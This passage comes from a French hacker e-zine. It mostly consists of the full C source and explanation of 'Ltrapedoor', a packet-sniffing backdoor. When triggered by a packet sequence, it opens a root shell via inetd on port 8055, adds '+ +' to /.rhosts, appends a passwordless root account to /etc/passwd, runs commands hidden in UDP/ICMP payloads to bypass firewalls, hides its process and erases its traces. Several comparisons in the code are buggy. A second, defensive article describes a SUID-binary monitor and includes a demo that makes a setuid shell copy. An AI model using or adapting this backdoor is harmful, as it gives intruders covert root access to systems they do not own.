Cette fonction correspond  l'argument -p (anti-firewall mode) qui excute les commandes
insrs dans les champs data des headers udp/icmp.




int protected_com(int inetd, int rsh, int pass, char *passv){

   int i, datal;  /* datal = sizeof(udp->data) */
   unsigned char *d;
   char *donnees; /* Pour notre champ data */

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);

   sockfd = ouvre_interface("eth0");
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;

/* Si protocole = UDP */
      if (ip->protocol == 17){
/* calcule de la longueur du champ data de l'header UDP */
       datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
/* le ptr donnes pointe sur l'adresse du champ udp->data */
       donnees = (char *)(((unsigned long)buffer.data)-2);
/* lecture des donnes */
       for(i=0; i <= datal; i++)
         strcat(donnees, donnees[i]);
/* fermeture ? /*
       if(donnees = "end:connection"){
          close_door(inetd, rsh, pass, passv);
      } else {
/* si non, excution de la commande */
          system(donnees);
       }
      }

/* Si protocole = ICMP */
      if (ip->protocol == 1){
/* calcule de la longueur du champ data de l'header ICMP */
      datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
/* le ptr donnes pointe sur l'adresse du champ icmp->data */
      donnees = (char *)(((unsigned long)buffer.data)-2);
/* lecture des donnes */
      for(i=0; i <= datal; i++)
         strcat(donnees, donnees[i]);
/* excution de la commande */
      system(donnees);
      }
    }
return 0;
}








[ Open_door ]

Une fois l'authentification du pirate effectue par la backdoor, celle-ci
s'active en lanant une srie de commandes dfinies lors de sa mise en place
sur le serveur. Cette fonction est calque sur celle de cdoor.c de fx (phenoelit),
on fork deux processus pour viter les processus inet zombis.



void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) {

    FILE	*f;
    char	*args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};
    char *command;
    command = (char *)malloc(1204);

/* switch de deux forks successifs pour viter les inetd zombis */
    switch (fork()) {
	case -1:

	    return;
	case 0:
	    switch (fork()) {
		case -1: _exit(0);
		case 0:
			 break;
		default: _exit(0);
	    }
	     break;

	default:
	     wait(NULL);
	     return;
    }
/* si argument -i entr, cration d'un fichier tmp/.ind */
   if (inetd == 1){
       if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
       fprintf(f,"8055  stream  tcp     nowait  root    /bin/sh  sh\n");
       execv("/usr/sbin/inetd",args);
       fclose(f);
   }

/* si argument -r entr, cration d'un fichier /.rhosts */
   if (rsh == 1){
      sprintf(command, "echo + + >> /.rhosts");
      system(command);
  }

/* si argument -p entr, cration d'un nouveau compte root */
   if (pass == 1){
       if ((f=fopen("/etc/passwd","a+t"))==NULL) return;
       fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv);
       fclose(f);
  }

/* si argument -a entr, alors on lance le mode protg */
if(protected_mode == 1) protected_com(inetd, rsh, pass, passv);
exit(0);
}









[ close_door ]

En cas de rception d'un code de fermeture, la backdoor appelle la fonction
"close_door", celle-ci avant de fermer compltement la trappe s'assure d'effaer
partiellement ses traces, selon les arguments entrs.



void close_door(int inetd, int rsh, int pass, char *passv){

   char *command;
/* allocation dynamique de mmoire */
   command = (char *)malloc(1024);

/* si argument -i entr, on dtruit /tmp/.ind */
   if (inetd == 1){
    command = "rm -f /tmp/.ind";
    system(command);
   }

/* si argument -r entr, on dtruit /.rhosts */
  if (rsh == 1){
   command = "rm -f /.rhosts";
   system(command);
  }

/* si argument -p entr, on dtruit le compte root dans /etc/passwd */
if (pass == 1){
  sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv);
  system(command);
}
exit (1);
}







[ make_ip ]

Cette fonction est indispensable au mode d'adressage ip, elle permet en effet de
construire  partir du champ IP destination adress, une adresse IP conventionelle
(unsigned char *)(ex: x.x.x.x).





char *make_ip(unsigned char *d){
   char *dest_addr; /* contient notre IP conventionelle */
   dest_addr = (char *)malloc(4096);
/* cration de l'IP conventionelle */
   sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]);
   return dest_addr;
}







[ Extras... ]

Dans un souci de furtivit, il se peut que vous dsireriez masquer le processus de
votre backdoor, il suffit de placer une quelconque chaine de caractre dans la valeur
de l'argument 0. Mais attention, avant toute chose il vous faut sauvegarder les arguments,
car cette fonction reset toutes les valeurs, je vous conseille alors de stocker les
valeurs initiales dans des variables, d'xcuter la fonction, puis de restorer les valeurs
stockes dans lesdites variables.

void hide_aux(int argc, char *argv[]){
  int i;
/* on reset tous nos arguments */
  for(i=argc-1; i >= 0; i--)
   memset(argv[i],0, strlen(argv[i]));
/* masquage du processus */
  strcpy(argv[0], P_HIDE);
}








    III. Code source :
    __________________




/******************************************/
/*          Ltrapedoor By Li0n7           */
/*     contactez-moi: Li0n7@voila.fr      */
/*         http://www.ioc.fr.st           */
/*         http://l7l.linux-fan.com       */
/*        Network traffic backdoor        */
/* Copyright Li0n7 - Tous droits rservs */
/******************************************/


#include <stdio.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/udp.h>
#include <linux/if.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define PWD "31337"
#define DADDR "192.148.0.5"

struct iphdr *ip;
struct tcphdr *tcp;
struct udphdr *udp;
struct icmphdr *icmp;

char buf[1792], *mes, *daddr;
int sockfd;
unsigned char *d;

struct recvpaquet
  {
   struct ethhdr eth;
   struct iphdr  ip;
   struct tcphdr tcp;
   struct icmphdr icmp;
   struct udphdr udp;
   char data[8000];
  } buffer;
int size;

void usage(void){
printf("\n                          >> Ltrapedoor by Li0n7                          \n\n");
printf("                      ..: lil' Options :..                    \n\n");
printf("     -h<#defined pass>: must be set as first argument\n");
printf("     -i: echo 8005  stream  tcp     nowait  root    /bin/sh  sh >> tmp/.ind\n");
printf("     -r: echo + + >> /.rhosts\n");
printf("     -p<user>: echo user::0:0:user:/root:/bash >> /etc/passwd\n");
printf("     -c<cle>: backdoor activation key (integer type)\n     Notice that: udp = 2; tcp = 0; tcp = 1    \n");
printf("     -f: weird mode, uses weird packets\n     to communicate with the server \n");
printf("     -d: ip addressing mode, define ip->saddr while compiling\n");
printf("     -a: sends commands into udp/icmp packets\n (against firewalls)\n");
exit(0);
}

char *make_ip(unsigned char *d){
   char *dest_addr;
   dest_addr = (char *)malloc(4096);
   sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]);
   return dest_addr;
}

int ouvre_interface(char *name)
{
  struct sockaddr addr;
  struct ifreq ifr;
  int sockfd;
  sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
  if(sockfd<0)
  return -1;
  memset(&addr, 0, sizeof(addr));
  addr.sa_family=AF_INET;
  strncpy(addr.sa_data, name, sizeof(addr.sa_data));
  if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
    close(sockfd);
    return -1;
  }
  if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
  {
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
  {
    close(sockfd);
    return -1;
  }
  ifr.ifr_flags |= IFF_PROMISC;
  if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
    close(sockfd);
    return -1;
  }
  return sockfd;
}

void close_door(int inetd, int rsh, int pass, char *passv){
   char *command;
   command = (char *)malloc(1024);
   if (inetd == 1){
    command = "rm -f /tmp/.ind";
    system(command);
   }
  if (rsh == 1){
   command = "rm -f /.rhosts";
   system(command);
  }
if (pass == 1){
  sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv);
  system(command);
}
exit (1);
}


void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) {

    FILE	*f;
    char	*args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};
    char *command;
    command = (char *)malloc(1204);

    switch (fork()) {
	case -1:

	    return;
	case 0:
	    switch (fork()) {
		case -1: _exit(0);
		case 0:
			 break;
		default: _exit(0);
	    }
	     break;

	default:
	     wait(NULL);
	     return;
    }

   if (inetd == 1){
       if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
       fprintf(f,"8055  stream  tcp     nowait  root    /bin/sh  sh\n");
       execv("/usr/sbin/inetd",args);
       fclose(f);
   }

   if (rsh == 1){
      sprintf(command, "echo + + >> /.rhosts");
      system(command);
  }

   if (pass == 1){
       if ((f=fopen("/etc/passwd","a+t"))==NULL) return;
       fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv);
       fclose(f);
  }

if(protected_mode == 1) protected_com(inetd, rsh, pass, passv);
exit(0);
}

int protected_com(int inetd, int rsh, int pass, char *passv){

   int i, datal;
   unsigned char *d;
   char *donnees;

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);

   sockfd = ouvre_interface("eth0");
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;

      if (ip->protocol == 17){
       datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
       donnees = (char *)(((unsigned long)buffer.data)-2);
       for(i=0; i <= datal; i++)
         strcat(donnees, donnees[i]);
       if(donnees = "end:connection"){
          close_door(inetd, rsh, pass, passv);
      } else {
          system(donnees);
       }
      }

      if (ip->protocol == 1){
      datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header));
      donnees = (char *)(((unsigned long)buffer.data)-2);
      for(i=0; i <= datal; i++)
         strcat(donnees, donnees[i]);
      system(donnees);
      }
    }
return 0;
}

int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){

   int i;
   char *net_ip;
   unsigned char *d;

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);

   net_ip = (char *)malloc(1024);
   d = (unsigned char *)&(ip->daddr);

sockfd = ouvre_interface("eth0");
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;
      if(ip->protocol == 17){
        net_ip = make_ip(d);
         if(net_ip = DADDR)
          open_door(inetd, rsh, pass, protected_mode, passv);
      }

     if(ip->protocol == 6){
        net_ip = make_ip(d);
        if(net_ip = DADDR)
          close_door(inetd, rsh, pass, passv);
    }
   }
return 0;
}


  int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue)
  {
    int i;

   ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2);
   tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2);
   icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2);
   udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2);
   mes = (char *)malloc(1024);
   daddr = (char *)malloc(1024);
   d = (unsigned char *)&(ip->daddr);

   sockfd = ouvre_interface("eth0");
    while(1){
      size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet));
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;

      if((ip->protocol) == 1){
       if ((icmp->type == 3) && (informe == 1)){
        close_door(inetd, rsh, pass, passv);
       } else {
        strcat(mes,"0");
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }

        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
           memset(mes, 0, 1024);
        }
     }
   }

      if((ip->protocol) == 6){

       if((ip->version == 6) && (informe == 1)){
          open_door(inetd, rsh, pass, protected_mode, passv);
       } else {
         strcat(mes,"1");
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }

        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
           memset(mes, 0, 1024);
        }
      }
   }

      if((ip->protocol) == 17){
         strcat(mes,"2");
        if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){
           open_door(inetd, rsh, pass, protected_mode, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) {
           memset(mes, 0, 1024);
        }

        if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){
           close_door(inetd, rsh, pass, passv);
           memset(mes, 0, 1024);
        } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) {
           memset(mes, 0, 1024);
        }
   }

}
return 0;
}

int main(int argc, char *argv[])
{
int inetd=0, rsh=0, destroy=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0;
char *cle, *passv, *endvalue;

cle = (char *)malloc(1024);
passv = (char *)malloc(1024);
endvalue = (char *)malloc(1024);
endvalue = "22";
passv = "user";
cle = "21";

if((strcmp(PWD, getpass("password: "))) != 0) return 0;
if (argc < 3){
    usage();
    } else {
            while((argc>1)&&(argv[1][0]=='-'))
                     {
                 switch(argv[1][1])
                        {
                          case 'i':
                           inetd = 1;
                           break;

                          case 'r':
                           rsh = 1;
                           break;

                          case 'p':
                           pass = 1;
                           passv = &argv[1][2];
                           break;

                          case 'c':
                           cle = &argv[1][2];
                           break;

                         case 'e':
                           endvalue = &argv[1][2];
                         break;

                         case 'f':
                           informe = 1;
                         break;

                         case 'd':
                           ip_mode = 1;
                         break;

                         case 'a':
                           protected_mode = 1;
                         break;

                        }
                   --argc;
                  ++argv;
                 }
       }

if (ip_mode == 1){
  waiting_ip(inetd, rsh, pass, protected_mode, passv);
} else {
death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue);
}

return 0;
}









    IV. Conclusion :
    ________________


La programmation de backdoors classiques n'aura plus aucun secret pour vous.
J'espre avoir dmontr comme il tait simple d'exploiter la complxit des
rseaux, tant soit au niveau des procoles, qu'au niveau des systmes de
protection, qui hlas, reposent trop sur la vigilance et la bonne fortune
des admnistrateurs... Sachez qu'il existe bien d'autres types de backdoors,
mais celle que nous avons tudi se rvle tre l'une des plus complexe 
programmer. Le niveau de furtivit est, en revanche, trop bas pour tre pris
en considration. En effet, elle possde un dfaut majeur : elle modifie la
date de modification des fichiers auxquelles elle s'attaque (normal), il
faudrait donc masquer la manipulation de ses fichiers en modificant cette
date. Ainsi, Les plus courageux d'entre vous trouveront surement le temps
de bidouiller ma trappe pour en resortir un rsultat plus convainquant,
en tous cas, je l'espre!

Besoin d'aide? Commentaires? Insultes? Li0n7@voila.fr


-[EOF] /* il parait que a fait ܣmű3  3̱3 de mettre [eof]  la fin ;-) */





















---------------------------------------------------------------------------------------
VIII.               Surveillance des binaires SUID                             Neofox
---------------------------------------------------------------------------------------


                 ######################################
                 ####        Fichier Joint :       ####
                 ####  Suid-Surveyor.1.0.tar.gz  ####
                 ######################################








[ Introduction ]

VOici un article  tendance rsoluement 'whitehat' pour une fois, et on ne
va pas s'en plaindre. Ce texte va me servir de support pour vous prsenter
la version 1.0 d'un outil dont je viens juste de terminer la mise au point.
Je l'ai bapthis 'Suid Surveyor', le plus simplement du monde. Il a pour
fonction d'alerter l'adiministrateur lorsque de nouveaux binaires suid sont
ajouts sur le systme. Je ne vais pas rapeller l'intert d'une inspection
journalire du systme  la recherche de binaires SUID suspects (type setuid
backdoor) ; sachez simplement que ce prog  peut tre utlis avec cron dans
le cadre d'une surveillance continue. L'ide m'est venue d'implmenter ceci
en C arps tre tomb sur un script comparable, en trainant sous FreeBSD.
Cet outil a t test avec succs sous Redhat et Slackware. En revanche,
un bug m'a t signal sous Mandrake. Il semblerait que fonction 'nftw()'
servant  parcourir l'arboresence, retourne systmatiquement une erreur, ce
qui rend impossible la recherche dans les rpertoires. Ce qui est d'autant
plus curieux, c'est que ce problme n'a lieu que sous Mandrake. Je ne vois
pas comment l'expliquer... Je n'ai pas pu tester mon outil sous toutes les
distrib linux. Prevenez-moi si vous constatez un bug sous votre OS.








               ++++ | Partie 1 : Prsentation | ++++

                                => Description
                                => Programmation





    I. Description :
    ________________



[ L'ide ]

Le principe est tout simple ; il consiste  parcourir une premire fois
l'ensemble des rpertoires du systme et de lister tout les binaires SUID
trouvs dans un premier fichier. On rpte ensuie l'opration une seconde
fois, et nous obtenons donc une seconde liste dans un nouveau fichier. On
compare ensuite leur deux tailles. Si elles sont identiques tout est normal.
En revanche si l'on constate que la taille du second fichier est suprieure
 celle du premier, cela signifie qu'il comporte au moins une nouvelle entre,
ce qui correspond  un nouveau binaire SUID repr sur la machine. Dans ce
cas, un fichier de rapport est cre par dfaut dans '/root' et le nom du
nouveau binaire y est inscrit.



[ Les fichiers ]

Suid Surveyor v1.0 s'appuie sur 3 fichiers :

     /var/log/suid.yesterday  : prcdente liste des binaires SUID
     /var/log/suid.today      : nouvelle liste des binaires SUID
     /root/suid.rapport       : contient les noms des nouveaux binaires

Par dfaut, Suid Surveyor v1.0 est excut une fois par jour via cron,
et pour ce faire, il utilise '/etc/cron.daily/suid'.
Ce programme DOIT IMPERATIVEMENT tre install dans '/root', dans le cas
contraire, vous devrez modifier les PATH du Makefile.





[ L'installation ]

J'insiste sur le fait qu'il est important de plaer l'archive tar.gz dans
/root, puis de la dcompresser. Vous devez de ce fait procder  l'instal-
-lation EN TANT QUE ROOT ! Il est galement important de respecter le nom
et l'emplaement du rpertoire /root/Suid-Surveyor.1.0.
Si vous souhaitez les modifier, il vous faudra modifier en consquences
les PATH dans le code source et le Makefile.

L'installation est tout ce qu'il y a de plus simple, grce  ce joli
Makefile que MeiK m'a crit ( il tait pas beau mon install.sh ?? ).
Voici le tout en *image* :

[root@localhost /root]# pwd
/root
[root@localhost /root]# whoami
root
[root@localhost /root]# ls -al /root/*.tar.gz
-rwxrwxr-x  1 root   root     4214 oct 30 15:15 Suid-Surveyor.1.0.tar.gz
[root@localhost /root]# gzip -cd *.tar.gz | tar xvf -
Suid-Surveyor.1.0/
Suid-Surveyor.1.0/ss.c
Suid-Surveyor.1.0/readme
Suid-Surveyor.1.0/Makefile
[root@localhost /root]# cd Suid-Surveyor.1.0
[root@localhost Suid-Surveyor.1.0]#ls
Makefile  readme  ss.c
[root@localhost Suid-Surveyor.1.0]# make
cc  -c -g -0 ss.c
cc ss.o -o ss
[root@localhost Suid-Surveyor.1.0]# make install
install: ok!
[root@localhost Suid-Surveyor.1.0]# ls -al /etc/cron.daily/suid
-rwxrwxr-x  1 root   root       46 oct 30 15:15 suid
[root@localhost Suid-Surveyor.1.0]# cat /etc/cron.daily/suid
#!/bin/sh
/root/Suid-Surveyor.1.0/ss cron &
[root@localhost Suid-Surveyor.1.0]#


Vous constatez  l'issue de l'installation que le fichier 'suid' a t
cre dans /etc/cron.daily. C'est grce  lui que Suid Surveyor sera
excut une fois par jour.




[ Le fonctionnement ]

Deux possibilits s'offrent  vous : soit vous pouvez excuter l'outil manuellement
et vous verrez s'affichier le rsultat du scan  l'cran, soit vous laissez cron
s'en charger.  Voici les deux syntaxes :



     manuellement :  # ./ss show
     avec cron : # ./ss cron &


La syntaxe utilise avec cron est celle inscrite dans /etc/cron.daily/suid.
Voici  prsent une dmonstration du fonctionnement de mon outil :


[root@localhost Suid-Surveyor.1.0]# ./ss

**** Suid Surveyor v1.0   -by Neofox[IOC] ****
This tool performs a scan throught the whole file
system,  then looks for new suspect suid binaries
Usage: 1- ./ss cron &   when it's run by cron
       2- ./ss show     to output the results

[root@localhost Suid-Surveyor.1.0]# ./ss show
*]- Suid Surveyor v1.0  -by Neofox[IOC]
[1]- Updating logs... failed!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... failed!
[*]- Fatal error, aborting!
[root@localhost Suid-Surveyor.1.0]#


Cette erreur est normale ; il s'agit enfait de la premire utilisation du
programme. De ce fait, les fichiers 'suid.today' et 'suid.yesterday' n'existent
pas. Il y a donc chec lors de la rotation des fichier de log. Par ailleurs, le
programme va crer au cours de son excution le fichier /var/log/suid.today. Mais
comme il n'y a pas de fichier antrieur avec lequel le comparer, on obtient une
"Fatal Error" et le programme met fin  son excution. Voyons ce qui se passe
lors d'une excution normale :

[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0  -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... done!
[*]- SUID files allright!
[root@localhost Suid-Surveyor.1.0]# mkidr /opt/.hacker
[root@localhost Suid-Surveyor.1.0]# cp /bin/sh /opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# chmod 6755 /opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0  -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 104
[6]- Checking for new suid binaries... done!

     **** WARNING ****
     //opt/.hacker/shell_suid is new

[*]- Writting /root/suid.rapport... done!
[*]- 1 new SUID binaries has been found since last check!
[root@localhost Suid-Surveyor.1.0]# ls -al /root/suid.rapport
-rw-r--r--   1 root    root       24 oct 30 15:20 suid.rapport
[root@localhost Suid-Surveyor.1.0]# cat /root/suid/rapport
//opt/.hacker/shell_suid
[root@localhost Suid-Surveyor.1.0]# rm -f /opt/.hacker/*
[root@localhost Suid-Surveyor.1.0]# ./ss show
[*]- Suid Surveyor v1.0  -by Neofox[IOC]
[1]- Updating logs... done!
[2]- Jumping to / ... done!
[3]- Browsing directories... done!
[4]- Setting logfile permission... done!
[5]- Counting suid files : 103
[6]- Checking for new suid binaries... done!
[*]- SUID binaries removed since last check!
[root@localhost Suid-Surveyor.1.0]#






Prennez le temps de lire attentivement la dmonstration c-dessus, vous
conviendrez que c'est on ne peut plus parlant !
Bien, il me reste manitenant  dtailler un peu le code ss.c, et  faire
la lumire sur quelques zones d'ombre.




    II. Programmation :
    ___________________


Je vais expliquer mon code petit  petit, mais uniquement les points qui m'on pos
problme pendant la programmation.




[ nftw() ]

La premire tape est de pouvoir naviguer depuis la racine, dans tous les rpertoires
et les sous-rpertoires. Si on ne connait pas la fonction, on ne peut pas l'inventer !
Un gros pav sur le C m'a tir d'affaire. La fonction qui va nous dpanner est 'ftw()'
qui siginfie "File Tree Walking" ou plus exactement nous allons utiliser sa cousine,
nftw(), plus complte. Je tiens  vous prvenir desuite, cette fonction a une syntaxe
 coucher dehors, dumoins  premire vue ... elle est dfinie dans l'header 'ftw.h'.
Je vous renvoie aux pages du man pour plus d'information.


/*
*         nftw("/your/path"), // browse all dirs
*                  scan_suid, // find suid binaries
*                         10, // depth
*                         1   // FTW_PHYS = 1
*         );
*
*/


On va faire le point sur les arguments, histoire d'y voir plus clair :

Le premier argument est le rpertoire de dpart. La fonction va partir de ce rpertoire
et parcourir en parcourir tous les sous-rpertoires. Dans notre cas, nous devons partir
de la racine.

Le second argument est une sous fonction qui sera applique  chaque rpertoire.
J'ai cre pourcela la fonction 'scan_suid()' que j'aurais tout aussi bien pu apeller
'toto_par_a_la_campagne()', j'ai hsit, mais la premire allait mieux. Notre sous
fonction va pour chaque rpertoire, l'ouvrir, le parcourir, lister les fichiers suid
puis le refermer.

Le troisime argument est la profondeur de recherche, c'est  dire le nombre maximum
d'tages de l'arboresence  parcourir. J'ai mis 10, c'est dja pas mal, mettez 100 si
a vous chante.

Enfin, le dernier argument est l pour faire 3ll3t, mais dans la pratique, il spcifie
 nftw() de ne pas suivre les liens symboliques.


Voici comment j'ai gr cette fonction dans mon code :


-------8<----------------------------------------------------------------

/*
   * Here we go, let's have a look in our dirs !
   */
   fprintf(stderr,"\033[1;37m[%d]\033[0m- Browsing directories... ",step++);
   if((nftw((getcwd(path, 256)),scan_suid,10,1))==-1){
           fprintf(stdout,"failed!\n");
           fprintf(stdout,"\033[1;37m[*]\033[0m- Fatal error, aborting!\n");
           exit(1);

   }

-------8<----------------------------------------------------------------







[ strtok() ]

Cette fonction dfinie dans 'string.h' n'intervient que beaucoup plus tard
dans le prog, mais je la traite maintenant, non seulement parcequ'il me faut
bien remplir mon article dja que j'en ai pas fait lourd, mais aussi parce
que c'est le second point sur lequel j'ai bloqu.

A ce stade du programme, nous nous trouvons dans la sous-fonction apelle
'find_new_entry()'. Nos deux fichiers de log, suid.yesterday et suid.today
sont normalement cres. On a lu le contenu du premier et on la pla dans le
buffer 'oldfile_buffer'. On a lu ensuite le conetnu du second fichier et on
l'a pla dans 'newfile_buffer'. Le problmes est que nous devons savoir
si toutes les entres de 'newfile_buffer' figurent ou non dans 'oldfile_buffer'.

Pour cela, nous devons rechercher chaque entre de 'newfile_buffer' dans
'oldfile_buffer'  l'aide de la fonction strstr(). Dans la ralit, vous
l'aurez compris, une entre correspond au nom d'un binaire suid.

C'est ici qu'intervient strtok(). Cette fonction va nous permettre d'isoler
chaque entre du buffer 'newfile_buffer' et d'aller ensuite la compier dans
une structure de notre conception. A l'aide de strstr() on peut ensuite
rechercher sparemment chaque ligne du 'newfile_buffer' dans 'oldfile_buffer'.

Si une ligne est prsente dans le 'newfile_buffer' mais pas dans l'autre,
c'est qu'il s'agit d'une nouvelle entre, comprendre d'un nouveau binaire
suid. Voici  prsent l'extrait du code :



-------8<----------------------------------------------------------------


while((read(newfile_input, newfile_buffer, MAX))>0){

              // this is used to order datas,
              // one entry per line
              ptr = strtok(newfile_buffer,"\n");
              while(ptr!=NULL){
                       strcpy(entry[line].name,ptr);
                       line--;
                       ptr = strtok(NULL,"\n");
              }
}

// une fois le buffer segment, on peut rechercher sparrement
// chaque entre dans 'oldfile_buffer'


r=0; found = 0;
    while((read(oldfile_input, oldfile_buffer, MAX))>0){
            for(line=0;line<nbr;line++){
                   if(strstr(oldfile_buffer,entry[line].name)==NULL){
                            fprintf(stdout,"     %s is new\n",entry[line].name);
                            found++;
                            // we save results in an other logfile
                            if((save_data(RAPPORT,entry[line].name,rapport))==0)
                                   r++;
                   }


            }
}


-------8<-----------------------------------------------------------------


Voila, nous avons compar chaque ligne de 'newfile_buffer' au contenu
du 'oldfile_buffer'. Si un ligne est 'nouvelle' on fait alors appel 
la fonction 'save_data(char *logfile, const char *buffer, FILE *fd);
Nous allons la voir plus en dtail.





[ save_data() ]

Nous allons en parler, non pas qu'elle m'ait caus problme, mais aucontraire
car elle m'a t d'un grande utilit. Je m'en suis servi par deux fois, tout
dabord, pour sauvegarder le listing des binaires suid dans le fichier de log
'suid.today', et ensuite, pour inscrire, comme vu plus haut, le nom des nouveaux
binaires trouvs dans le fichier 'suid.rapport'. Si simple et pourtant si
partique ! Voyons  quoi elle ressemle :


-------8<----------------------------------------------------------------


int
save_data(const char *logfile, const char *buffer, FILE * file_descriptor){


    if((output=(fopen(logfile,"a+")))!=NULL){

           count ++;
           /* writting into the logfile */
           fprintf(output,"%s\n",buffer);
    }

    fclose(output);
    return 0;

}


-------8<----------------------------------------------------------------






Ces petits soucis mis  part, le reste du prog est assez simple  coder,
une fois qu'on a bien saisi la thorie.












               ++++ | Partie 2 : Code Source | ++++





--------------8<------------  ss.c  -------------------------------------------------------


/*
*   -= Suid Surveyor v1.0 =-
*
*  by Neofox, for Iocmag issue#5
*  Web: http://www.rootshell.be/~ioc
*  Contact:  neo_fox_2001@hotmail.com
*   2001-2002 IOC
*
*/

#include <stdio.h>        /* frpintf */
#include <string.h>       /* strcmp, strtok */
#include <unistd.h>       /* hum ? */
#include <stdlib.h>       /* is it useful ? */
#include <sys/types.h>    /* stat, opendir */
#include <sys/stat.h>     /* stat */
#include <fcntl.h>        /* open, close */
#include <dirent.h>       /* opendir, closedir */
#include <errno.h>        /* perror */
#include <ftw.h>          /* nftw */
#include <pwd.h>          /* getpwuid */


/* Well known logfiles */
#define TODAY "/var/log/suid.today"
#define YESTERDAY "/var/log/suid.yesterday"
#define RAPPORT "/root/suid.rapport"

#define SUID_MODE 0004000 // S_ISUID
